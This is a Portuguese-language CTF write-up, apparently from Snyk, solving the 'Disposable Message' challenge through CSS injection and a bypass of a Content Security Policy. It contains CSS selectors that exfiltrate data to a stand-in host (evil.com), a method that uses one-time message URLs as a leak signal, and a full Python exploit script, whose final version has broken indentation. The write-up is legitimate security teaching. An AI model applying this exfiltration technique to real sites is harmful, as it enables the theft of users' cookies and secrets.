Skip to main content

Resolução do Fetch the Flag CTF 2022: Disposable Message

Escrito por

Michael Aquilina

feature ctf disposable message

10 de novembro de 2022

0 minutos de leitura

Obrigado por participar do Fetch com a gente! Parabéns às milhares de pessoas que participaram doFetch the Flag CTF. E um agradecimento especial aos Snykers que criaram, testaram e documentaram os desafios!

Neste post, vamos falar sobre o desafio Disposable Message, que fez parte do evento Fetch the Flag CTF 2022 da Snyk. O desafio envolvia o uso de técnicas de injeção de CSS para explorar uma página da web vulnerável e recuperar a flag. Disposable Message foi particularmente difícil por causa de uma política de segurança de conteúdo (CSP) rigorosa. Aproveitar o fato de que as mensagens expiravam após serem acessadas foi a chave para contornar essa política.

Neste post, explico como criei um exploit funcional para esse desafio. Vou contar essa jornada, começando pela fase de investigação e usando as descobertas para desenvolver um exploit funcional. O código do exploit foi escrito em Python; vou partir do pressuposto de que você tem alguma familiaridade com a linguagem. Conhecer CSS, JavaScript e HTML também será útil, mas vou explicar a maior parte do que for mencionado.

Investigação

O desafio começa com uma descrição bem curta: “Esta mensagem expirou.”, acompanhada de um link para uma página da web.

A descrição dá a entender que a página permite criar mensagens que podem ser acessadas uma única vez antes de serem excluídas pelo servidor. O fato de isso ser mencionado na descrição provavelmente indica que é algo importante (tente se lembrar disso mais adiante).

Ao acessar a página, vemos o seguinte:

Página da web Disposable Message com uma caixa de texto para mensagens e um botão azul Enviar para enviar mensagens privadas que se autodestroem

A página tem uma caixa de texto para escrever mensagens. Se escrevermos uma mensagem e clicarmos no botão Send!, veremos a seguinte página:

Página de mensagem descartável que mostra um URL compartilhável, botões para copiar e visitar como administrador e um aviso de que a mensagem só pode ser aberta uma vez

Podemos ver uma nova URL no formato /view/<message-id> (daqui em diante, vamos chamá-la de página de visualização da mensagem). Também há um botão para copiar a mensagem para a área de transferência e um botão Ask admin bot to visit. Se abrirmos a URL de visualização da mensagem no navegador, veremos a mensagem que criamos. Se acessarmos a mesma página uma segunda vez, o servidor da web retornará o código de status 404.

Cabeçalho escuro de um site com “DM”, botões de sol e lua e a mensagem centralizada “Não encontrado :(

Vamos voltar ao botão Ask Admin bot to visit. Podemos deduzir que, ao clicar nele, um bot de administrador remoto acessa a mensagem em um navegador. Temos quase certeza disso porque, depois de clicar no botão, nossa mensagem expira pouco tempo depois. O nome “bot de administrador” também sugere fortemente que esse navegador contém a flag que precisamos.

Em seguida, vamos examinar o código-fonte da página para ver o que chama a atenção.

Onde está a flag

O seguinte trecho de código HTML aparece na página de visualização da mensagem:

<!-- from your cookies -->
<div data-flag=""></div>

De acordo com o comentário no código, o atributo data-flag desse elemento div recebe um valor dos nossos cookies. Podemos confirmar isso facilmente abrindo as ferramentas de desenvolvedor do navegador e editando os cookies para ver o que acontece.

A opção mais óbvia para o nome do cookie da flag é “flag”. Se definirmos o valor “SNYK{hello-world}” em um cookie chamado “flag” e abrirmos novamente a página de visualização da mensagem, veremos que o atributo recebe o valor corretamente:

Ferramentas de desenvolvedor do navegador exibindo uma entrada de armazenamento de cookies com o valor de flag SNYK{hello-world}.
<!-- from your cookies -->
<div data-flag="SNYK{hello-world}">SNYK{hello-world}</div>

Injeção de CSS

Ao examinar o script incluído na página de visualização da mensagem, também encontramos o seguinte código JavaScript:

if (window.location.search.startsWith('?color=')) {
    localStorage.setItem(
        'color',
        decodeURIComponent(window.location.search.replace('?color=', ''))
    );
}

const color = localStorage.getItem('color') || 'ffffff';
const style = document.createElement('style');

style.innerText = `body {background-color: #${color};}`;
document.head.appendChild(style);

O script verifica se há um parâmetro de query string chamado “color” na URL. Se houver, o valor desse parâmetro é inserido em uma tag style. Por fim, a tag style é adicionada dinamicamente à página.

O que chama a atenção nessa tag style é que ela é criada usando formatação de strings. Isso nos permite escapar da tag style e ampliá-la para incluir qualquer valor CSS que quisermos. Isso é conhecido como uma vulnerabilidade de injeção de CSS.

Podemos testar facilmente se a página é vulnerável à injeção de CSS definindo o parâmetro color como algo como color=00ff00;font-size:80px e confirmando que o tamanho da fonte muda corretamente para o valor especificado:

Página da Web Disposable Message com um campo de mensagem, texto de tag HTML e botão azul Enviar sobre um fundo verde-claro

A injeção de CSS nos permite exfiltrar informações da página no navegador de uma pessoa usuária. Esse ataque consiste em criar vários seletores CSS que acionam URLs quando os valores correspondem a seletores específicos.

Por exemplo, se quisermos extrair o atributo data-flag de um elemento HTML div, podemos definir o parâmetro color como:

div[data-flag^=a] {
    background-image: url(//evil.com/a)
}
div[data-flag^=b] {
    background-image: url(//evil.com/b)
}
// etc…
div[data-flag^=y] {
    background-image: url(//evil.com/y)
}
div[data-flag^=z] {
    background-image: url(//evil.com/z)
}

O seletor ^= acima acionará a URL associada se o valor do atributo começar com a string especificada.

Isso significa que, se, por exemplo, o atributo data-flag da div começar com a, nosso navegador acessará http//evil.com/a . Se o valor começar com b, acessará http//evil.com/b, e assim por diante…

Se controlarmos o servidor evil.com, saberemos quais páginas foram acessadas. Com tentativas suficientes usando seletores CSS, podemos extrair o atributo data-flag caractere por caractere.

Política de segurança de conteúdo

Os navegadores modernos oferecem um recurso chamado Política de segurança de conteúdo (CSP), que restringe o conteúdo usado em uma página da web. Este desafio tem uma CSP que nos impede de usar diretamente as técnicas de injeção de CSS descritas acima.

Podemos consultar a CSP usando as ferramentas de desenvolvedor do navegador para verificar os cabeçalhos da página:

Ferramentas de desenvolvedor do navegador exibindo uma solicitação GET bem-sucedida e o cabeçalho de resposta Content-Security-Policy com diretivas para fontes de scripts e imagens
Content-Security-Policy: default-src 'self'; font-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/; frame-src 'self'

Observe que a seção img-src da política permite apenas “self” e “data”. Isso significa que só podemos usar URLs do mesmo domínio da página de mensagens descartáveis. Em particular, não podemos usar um domínio que controlamos para verificar quais URLs foram acessadas por meio da injeção de CSS. No entanto, podemos aproveitar as mensagens descartáveis do desafio para contornar essa restrição.

Sabemos que as mensagens descartáveis só podem ser visualizadas uma vez. Se uma mensagem já tiver sido acessada, ela retornará o código de status 404. Portanto, podemos usar URLs de mensagens descartáveis nos seletores de injeção de CSS e verificar o código de status para detectar se foram acessadas.

Resumo da investigação

Estas são as principais informações desta investigação que vão nos ajudar a criar o exploit. Se você não entendeu completamente a seção anterior (ou apenas passou os olhos por ela), basta entender estes pontos para acompanhar a próxima seção:

  • A página de visualização da mensagem é vulnerável à injeção de CSS pelo parâmetro de query string ?color=. Isso significa que podemos definir estilos arbitrários na página.

  • A política de segurança de conteúdo permite apenas URLs do mesmo domínio. Isso significa que o navegador bloqueará todas as URLs externas.

  • Uma mensagem só pode ser visualizada uma vez. Isso significa que receberemos o código de status 200 se a mensagem ainda não tiver sido acessada e o código 404 se já tiver sido.

  • A flag está no atributo data-flag da página de visualização da mensagem. Esse valor é preenchido pelo parâmetro de cookie “flag” do navegador. É provável que o bot de administrador tenha esse cookie definido com a flag correta.

Vamos ver como podemos combinar todos esses detalhes para criar um exploit.

O exploit

Podemos usar a injeção de CSS para extrair informações sobre a flag, por meio do atributo data-flag, caractere por caractere. Porém, precisamos usar uma URL do mesmo domínio controlado pelo desafio. Ao exfiltrar caracteres com injeção de CSS, o que importa é saber se uma URL foi acessada ou não, para identificar quais caracteres estão sendo extraídos.

Por sorte, podemos criar mensagens dentro do domínio de mensagens descartáveis para cada caractere. Cada URL pode ser usada e associada a seletores CSS que contenham cada caractere:

div[data-flag^=a] { background: url(/view/1d2e4e8b-40dc-4569-9737-6e7725277173); }
div[data-flag^=b] { background: url(/view/092d619a-269a-4b66-be55-bfe2ced506d7); }
div[data-flag^=c] { background: url(/view/2b87ba4d-4c8d-46e8-bcad-d664f3166ec4); }
div[data-flag^=d] { background: url(/view/a69bb0eb-cd83-43e9-9e14-6386cf486b9e); }
div[data-flag^=e] { background: url(/view/fe045e4b-41fb-4de1-973b-7ffd03563b13); }
…
div[data-flag^=}] { background: url(/view/54c5f762-2e8b-4257-91d2-2de3f9988318); }

Podemos fazer tudo isso em Python, com algo como:

payload = "?color=ffffff}"
messages = {}
for character in alphabet:
    guess = character
    # generate a message url to test our CSS selectors with
    view_url, _ = generate_message()
    messages[guess] = view_url

    payload += generate_payload(view_url, guess)

A função generate_payload precisa criar um seletor CSS que acione a URL associada se nosso palpite estiver correto. A função fica assim:

def generate_payload(url, guess):
    return f'div[data-flag^="{guess}"]{{background:url({url});}}'

A função generate_message precisa criar uma nova mensagem usando o endpoint POST /new, acionado pelo botão Send!. Depois de criar a mensagem, precisamos armazenar as URLs do bot de administrador e de visualização da mensagem geradas por essa chamada. Podemos extrair essas URLs da resposta usando uma expressão regular:

def generate_message():
    # the actual content of the message is not important
    data = {"message": "Hello world!"}
    resp = requests.post(DOMAIN + "/new", data=data)

    result = re.findall(r"/view/[a-f0-9\-]+", resp.text)
    view_url = result[0]

    result = re.findall(r"/admin-bot/[a-f0-9\-]+", resp.text)
    admin_url = result[0]

    return view_url, admin_url

Depois de gerar as mensagens e as cargas úteis dos seletores CSS associadas a elas, precisamos criar mais uma mensagem para o bot de administrador acessar. Essa mensagem receberá nossa carga útil e acionará as URLs das mensagens, dependendo de nosso palpite corresponder ou não ao que está no atributo “data-flag”.

Depois de acionar o bot de administrador, precisamos esperar alguns segundos para que ele acesse e renderize a página. Ao terminar de esperar, verificamos o código de status de todas as URLs associadas às nossas mensagens de palpite para ver qual retorna o código 404. Se encontrarmos um código 404, saberemos que o bot de administrador acessou a URL e poderemos marcar o palpite como correto.

flag = “”
payload = "?color=ffffff}"

messages = {}
for character in alphabet:
    guess = flag + character
    view_url, _ = generate_message()
    messages[guess] = view_url

    payload += generate_payload(view_url, guess)

_, admin_url = generate_message()

url = DOMAIN + admin_url + quote_plus(payload)
requests.post(url)

time.sleep(5)

for guess, url in messages.items():
    status = requests.get(DOMAIN + url).status_code
    print(f"Checking '{guess}': {url} ({status})")

    if status == 404:
        flag = guess
        print("Found match", flag)
        break

Codificação da query string

Você talvez tenha notado, ao ler o código acima, que usamos quote_plus para codificar a query string inteira, incluindo o nome do parâmetro e o delimitador da query string ?color=. O motivo é que as cargas úteis passadas ao bot de administrador pela query string são ignoradas.

Para contornar esse problema, podemos fazer o bot de administrador pensar que a query string faz parte do caminho da URL e, assim, incluí-la na URL de visualização da mensagem que ele acessa.

Por exemplo, se tivermos o seguinte caminho de URL: /admin-bot/f785781-55f4-4eca-8565-8511f12a4ffc**?color=**ffffff%7D…

Então, o bot de administrador ignorará o parâmetro da query string e acessará apenas o caminho de URL /view/f785781-55f4-4eca-8565-8511f12a4ffc

No entanto, se codificarmos o parâmetro da query string por completo, ele passará a fazer parte do caminho da URL:

/admin-bot/f785781-55f4-4eca-8565-8511f12a4ffc**%3Fcolor%3D**ffffff%7D…

Parece que o servidor da web decodifica esse valor antes de repassá-lo ao bot. Isso significa que a URL da página acessada será:

/view/f785781-55f4-4eca-8565-8511f12a4ffc?color=ffffff}...

Recuperando a flag completa

Agora que sabemos fazer os palpites corretamente, precisamos repetir o processo até acertarmos a flag inteira. Quando chegarmos a }, saberemos que podemos parar.

Também sabemos, com base nos valores de flags de desafios anteriores, que as flags da Snyk começam com 'SNYK{' e que o conteúdo entre as chaves é um UUID. Isso é útil porque podemos limitar nosso alfabeto aos caracteres “a-f” e “0-9”. Isso reduzirá bastante o tempo necessário para testar os palpites em cada iteração.

Código do exploit

Juntando tudo isso, o código-fonte final fica assim:

import time
import requests
import re
from urllib.parse import quote_plus
from string import digits

DOMAIN = "http://disposable-message.c.ctf-snyk.io"

def main():
      alphabet = "abcdef" + digits + "}"
      print("DOMAIN", DOMAIN)
      print("alphabet", alphabet)
      flag = "SNYK{"

      while True:
            payload = "?color=ffffff}"

            messages = {}
      for character in alphabet:
            guess = flag + character
            view_url, _ = generate_message()
            messages[guess] = view_url

            payload += generate_payload(view_url, guess)

      _, admin_url = generate_message()

      url = DOMAIN + admin_url + quote_plus(payload)
      requests.post(url)

      time.sleep(5)

      for guess, url in messages.items():
            status = requests.get(DOMAIN + url).status_code
            print(f"Checking '{guess}': {url} ({status})")

            if status == 404:
            flag = guess
            print("Found match", flag)
            Break
      else:
                  raise ValueError("Unable to find guess")

def generate_payload(url, guess):
      return f'div[data-flag^="{guess}"]{{background:url({url});}}'

def generate_message():
      data = {"message": "Hello world!"}
      resp = requests.post(DOMAIN + "/new", data=data)

      result = re.findall(r"/view/[a-f0-9\-]+", resp.text)
      view_url = result[0]

      result = re.findall(r"/admin-bot/[a-f0-9\-]+", resp.text)
      admin_url = result[0]

      return view_url, admin_url

if __name__ == "__main__":
      main()

Ao executar esse código, temos a satisfação de ver a flag SNYK ser extraída caractere por caractere:

Janela do terminal exibindo verificações textuais de identificadores de mensagens SNKY, com caminhos de URL e códigos de status HTTP

Mensagem descartada, desafio resolvido

Descobrimos que o desafio de mensagens descartáveis era vulnerável à injeção de CSS. Embora uma política de segurança de conteúdo restritiva tenha dificultado o processo, conseguimos desenvolver um exploit para extrair a flag. Para isso, aproveitamos o código de status 404 retornado quando mensagens já visualizadas eram acessadas.

Espero que você tenha gostado desta resolução de CTF e até aprendido algo novo! Os desafios de CTF são uma ótima forma de aprender sobre exploits do mundo real e, assim, se preparar melhor para se defender deles em seus próprios sistemas. Quer saber como encontramos todas as outras flags? Confira a página de soluções do Fetch the Flag para ver como fizemos.